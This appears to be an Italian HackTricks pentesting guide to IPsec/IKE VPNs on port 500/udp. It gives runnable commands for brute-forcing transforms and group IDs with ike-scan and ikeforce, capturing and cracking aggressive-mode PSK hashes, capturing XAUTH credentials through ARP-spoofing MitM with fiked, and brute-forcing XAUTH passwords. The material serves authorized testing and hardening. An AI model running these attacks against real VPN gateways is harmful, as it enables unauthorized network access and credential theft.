20 KiB
500/udp - Pentesting IPsec/IKE VPN
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di NFT esclusivi
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud github repos.
Trova le vulnerabilità che contano di più in modo da poterle correggere più velocemente. Intruder traccia la tua superficie di attacco, esegue scansioni proattive delle minacce, trova problemi in tutta la tua infrastruttura tecnologica, dalle API alle applicazioni web e ai sistemi cloud. Provalo gratuitamente oggi.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
Informazioni di base
IPsec è ampiamente riconosciuto come la tecnologia principale per la sicurezza delle comunicazioni tra reti (LAN-to-LAN) e dagli utenti remoti al gateway di rete (accesso remoto), fungendo da base per le soluzioni VPN aziendali.
L'instaurazione di un'associazione di sicurezza (SA) tra due punti è gestita da IKE, che opera sotto l'egida di ISAKMP, un protocollo progettato per l'autenticazione e lo scambio di chiavi. Questo processo si svolge in diverse fasi:
- Fase 1: Viene creato un canale sicuro tra due endpoint. Ciò viene realizzato mediante l'utilizzo di una chiave pre-condivisa (PSK) o certificati, utilizzando sia la modalità principale, che prevede tre coppie di messaggi, sia la modalità aggressiva.
- Fase 1.5: Sebbene non obbligatoria, questa fase, nota come Fase di Autenticazione Estesa, verifica l'identità dell'utente che tenta di connettersi richiedendo un nome utente e una password.
- Fase 2: Questa fase è dedicata alla negoziazione dei parametri per la sicurezza dei dati con ESP e AH. Consente l'utilizzo di algoritmi diversi da quelli della Fase 1 per garantire la Perfect Forward Secrecy (PFS), migliorando la sicurezza.
Porta predefinita: 500/udp
Scopri il servizio utilizzando nmap
root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT STATE SERVICE
500/udp open isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
Trova una trasformazione valida
La configurazione IPSec può essere preparata solo per accettare una o poche trasformazioni. Una trasformazione è una combinazione di valori. Ogni trasformazione contiene un certo numero di attributi come DES o 3DES come algoritmo di crittografia, SHA o MD5 come algoritmo di integrità, una chiave pre-condivisa come tipo di autenticazione, Diffie-Hellman 1 o 2 come algoritmo di distribuzione delle chiavi e 28800 secondi come durata.
Quindi, la prima cosa che devi fare è trovare una trasformazione valida, in modo che il server possa comunicare con te. Per farlo, puoi utilizzare lo strumento ike-scan. Di default, Ike-scan funziona in modalità principale e invia un pacchetto al gateway con un'intestazione ISAKMP e una singola proposta con otto trasformazioni al suo interno.
A seconda della risposta, è possibile ottenere alcune informazioni sull'endpoint:
root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
Come puoi vedere nella risposta precedente, c'è un campo chiamato AUTH con il valore PSK. Ciò significa che la VPN è configurata utilizzando una chiave precondivisa (e questo è davvero buono per un pentester).
Il valore dell'ultima riga è anche molto importante:
- 0 handshake restituito; 0 notifica restituita: Ciò significa che il target non è un gateway IPsec.
- 1 handshake restituito; 0 notifica restituita: Ciò significa che il target è configurato per IPsec ed è disposto a eseguire la negoziazione IKE, e una o più delle trasformazioni proposte sono accettabili (una trasformazione valida verrà mostrata nell'output).
- 0 handshake restituito; 1 notifica restituita: I gateway VPN rispondono con un messaggio di notifica quando nessuna delle trasformazioni è accettabile (anche se alcuni gateway non lo fanno, in tal caso è necessario provare un'analisi ulteriore e una proposta rivista).
Quindi, in questo caso abbiamo già una trasformazione valida, ma se ti trovi nel terzo caso, devi forzare un po' per trovare una trasformazione valida:
Prima di tutto, devi creare tutte le possibili trasformazioni:
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
E quindi esegui un attacco di forza bruta su ciascuno di essi utilizzando ike-scan (questo può richiedere diversi minuti):
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
Se la forza bruta non ha funzionato, potrebbe essere che il server risponda senza handshake anche alle trasformazioni valide. Quindi, potresti provare la stessa forza bruta ma utilizzando la modalità aggressiva:
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
Sperabilmente una trasformazione valida viene ripetuta.
Puoi provare lo stesso attacco utilizzando iker.py.
Potresti anche provare a forzare le trasformazioni con ikeforce:
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
Nel Gruppo DH: 14 = 2048-bit MODP e 15 = 3072-bit
2 = HMAC-SHA = SHA1 (in questo caso). Il formato --trans
è $Enc,$Hash,$Auth,$DH
Cisco indica di evitare l'uso dei gruppi DH 1 e 2 perché non sono abbastanza forti. Gli esperti ritengono che i paesi con moltissime risorse possano facilmente decifrare i dati che utilizzano questi gruppi deboli. Ciò viene fatto utilizzando un metodo speciale che li prepara a decifrare rapidamente i codici. Anche se costa molto denaro configurare questo metodo, consente a questi potenti paesi di leggere i dati crittografati in tempo reale se utilizzano un gruppo non forte (come 1.024-bit o inferiore).
Fingerprinting del server
Successivamente, è possibile utilizzare ike-scan per cercare di scoprire il produttore del dispositivo. Lo strumento invia una proposta iniziale e smette di riprodurla. Successivamente, analizzerà la differenza di tempo tra i messaggi ricevuti dal server e il modello di risposta corrispondente, il pentester può identificare con successo il produttore del gateway VPN. Inoltre, alcuni server VPN utilizzeranno il payload opzionale Vendor ID (VID) con IKE.
Specificare la trasformazione valida se necessario (utilizzando --trans)
Se IKE scopre quale è il produttore, lo stamperà:
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
IKE Backoff Patterns:
IP Address No. Recv time Delta Time
172.16.21.200 1 1322286031.744904 0.000000
172.16.21.200 2 1322286039.745081 8.000177
172.16.21.200 3 1322286047.745989 8.000908
172.16.21.200 4 1322286055.746972 8.000983
172.16.21.200 Implementation guess: Cisco VPN Concentrator
Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
Questo può essere ottenuto anche con lo script nmap ike-version
Trovare l'ID corretto (nome del gruppo)
Per poter catturare l'hash è necessario avere una trasformazione valida che supporti la modalità Aggressiva e l'ID corretto (nome del gruppo). Probabilmente non conoscerai il nome del gruppo valido, quindi dovrai forzarlo.
Per farlo, ti consiglio 2 metodi:
Forzare l'ID con ike-scan
Prima di tutto, prova a fare una richiesta con un ID falso cercando di raccogliere l'hash ("-P"):
ike-scan -P -M -A -n fakeID <IP>
Se non viene restituito alcun hash, probabilmente questo metodo di forza bruta funzionerà. Se viene restituito un hash, significa che verrà inviato un hash falso per un ID falso, quindi questo metodo non sarà affidabile per forzare l'ID. Ad esempio, potrebbe essere restituito un hash falso (questo accade nelle versioni moderne):
Ma se, come ho detto, non viene restituito alcun hash, dovresti provare a forzare i nomi di gruppi comuni utilizzando ike-scan.
Questo script proverà a forzare gli ID possibili e restituirà gli ID in cui viene restituito un handshake valido (questo sarà un nome di gruppo valido).
Se hai scoperto una trasformazione specifica, aggiungila al comando ike-scan. E se hai scoperto diverse trasformazioni, sentiti libero di aggiungere un nuovo ciclo per provarle tutte (dovresti provarle tutte finché una di esse funziona correttamente).
Puoi utilizzare il dizionario di ikeforce o quello in seclists di nomi di gruppi comuni per forzarli.
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
Oppure utilizza questo dizionario (è una combinazione degli altri 2 dizionari senza ripetizioni):
{% file src="../.gitbook/assets/vpnIDs.txt" %}
Forzare l'ID con Iker
iker.py utilizza anche ike-scan per forzare possibili nomi di gruppo. Segue il suo proprio metodo per trovare un ID valido basato sull'output di ike-scan.
Forzare l'ID con ikeforce
ikeforce.py è uno strumento che può essere utilizzato anche per forzare gli ID. Questo strumento cercherà di sfruttare diverse vulnerabilità che potrebbero essere utilizzate per distinguere tra un ID valido e un ID non valido (potrebbe avere falsi positivi e falsi negativi, ecco perché preferisco utilizzare il metodo ike-scan se possibile).
Per impostazione predefinita, ikeforce invierà all'inizio alcuni ID casuali per verificare il comportamento del server e determinare la tattica da utilizzare.
- Il primo metodo consiste nel forzare i nomi dei gruppi ricercando le informazioni Dead Peer Detection DPD dei sistemi Cisco (queste informazioni vengono riprodotte solo dal server se il nome del gruppo è corretto).
- Il secondo metodo disponibile consiste nel verificare il numero di risposte inviate ad ogni tentativo perché a volte vengono inviati più pacchetti quando viene utilizzato l'ID corretto.
- Il terzo metodo consiste nel ricercare "INVALID-ID-INFORMATION" in risposta a un ID non corretto.
- Infine, se il server non risponde a nessuna verifica, ikeforce cercherà di forzare il server e verificare se quando viene inviato l'ID corretto il server risponde con qualche pacchetto.
Ovviamente, l'obiettivo di forzare l'ID è ottenere il PSK quando si dispone di un ID valido. Quindi, con l'ID e il PSK, sarà necessario forzare l'XAUTH (se abilitato).
Se hai scoperto una trasformazione specifica, aggiungila nel comando ikeforce. E se hai scoperto diverse trasformazioni, sentiti libero di aggiungere un nuovo ciclo per provarle tutte (dovresti provarle tutte fino a quando una di esse funziona correttamente).
git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
Sniffing ID
(Dal libro Network Security Assessment: Conosci la tua rete): È anche possibile ottenere nomi utente validi sniffando la connessione tra il client VPN e il server, poiché il primo pacchetto di modalità aggressiva contenente l'ID del client viene inviato in chiaro.
Catturare e crackare l'hash
Infine, se hai trovato una trasformazione valida e il nome del gruppo e se la modalità aggressiva è consentita, puoi facilmente ottenere l'hash crackabile:
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
L'hash verrà salvato all'interno di hash.txt.
Puoi utilizzare psk-crack, john (utilizzando ikescan2john.py) e hashcat per craccare l'hash:
psk-crack -d <Wordlist_path> psk.txt
XAuth
Il metodo Aggressive mode IKE combinato con una Pre-Shared Key (PSK) è comunemente utilizzato per scopi di autenticazione di gruppo. Questo metodo è integrato da XAuth (Extended Authentication), che introduce un ulteriore livello di autenticazione dell'utente. Questa autenticazione di solito sfrutta servizi come Microsoft Active Directory, RADIUS, o sistemi comparabili.
Passando a IKEv2, si osserva un notevole cambiamento in cui viene utilizzato EAP (Extensible Authentication Protocol) al posto di XAuth per autenticare gli utenti. Questo cambiamento sottolinea un'evoluzione nelle pratiche di autenticazione all'interno dei protocolli di comunicazione sicura.
MitM nella rete locale per catturare le credenziali
In questo modo è possibile catturare i dati del login utilizzando fiked e verificare se ci sono nomi utente predefiniti (È necessario reindirizzare il traffico IKE a fiked
per lo sniffing, che può essere fatto con l'aiuto di ARP spoofing, ulteriori informazioni). Fiked agirà come un endpoint VPN e catturerà le credenziali XAuth:
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
Inoltre, utilizzando IPSec, prova a effettuare un attacco MitM e blocca tutto il traffico sulla porta 500. Se il tunnel IPSec non può essere stabilito, potrebbe essere inviato in chiaro.
Forzare il nome utente e la password XAUTH con ikeforce
Per forzare il XAUTH (quando si conosce un nome di gruppo valido id e il psk), è possibile utilizzare un nome utente o una lista di nomi utente e una lista di password:
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
In questo modo, ikeforce cercherà di connettersi utilizzando ogni combinazione di nome utente:password.
Se hai trovato una o più trasformazioni valide, utilizzale come nei passaggi precedenti.
Autenticazione con una VPN IPSEC
In Kali, VPNC viene utilizzato per stabilire tunnel IPsec. I profili devono essere posizionati nella directory /etc/vpnc/
. Puoi avviare questi profili utilizzando il comando vpnc.
I seguenti comandi e configurazioni illustrano il processo di configurazione di una connessione VPN con VPNC:
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0
In questa configurazione:
- Sostituisci
[VPN_GATEWAY_IP]
con l'effettivo indirizzo IP del gateway VPN. - Sostituisci
[VPN_CONNECTION_ID]
con l'identificatore della connessione VPN. - Sostituisci
[VPN_GROUP_SECRET]
con il segreto di gruppo della VPN. - Sostituisci
[VPN_USERNAME]
e[VPN_PASSWORD]
con le credenziali di autenticazione della VPN. [PID]
simboleggia l'ID del processo che verrà assegnato quandovpnc
viene avviato.
Assicurati di utilizzare valori effettivi e sicuri per sostituire i segnaposto durante la configurazione della VPN.
Materiale di riferimento
- Documento sul cracking di PSK
- SecurityFocus Infocus
- Scansione di un'implementazione VPN
- Network Security Assessment 3rd Edition
Shodan
port:500 IKE
Trova le vulnerabilità che contano di più in modo da poterle correggere più velocemente. Intruder traccia la tua superficie di attacco, esegue scansioni proattive delle minacce, trova problemi in tutta la tua infrastruttura tecnologica, dalle API alle applicazioni web e ai sistemi cloud. Provalo gratuitamente oggi stesso.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata su HackTricks o scaricare HackTricks in PDF, controlla i PACCHETTI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di esclusive NFT
- Unisciti al 💬 gruppo Discord o al gruppo Telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR ai repository github di HackTricks e HackTricks Cloud.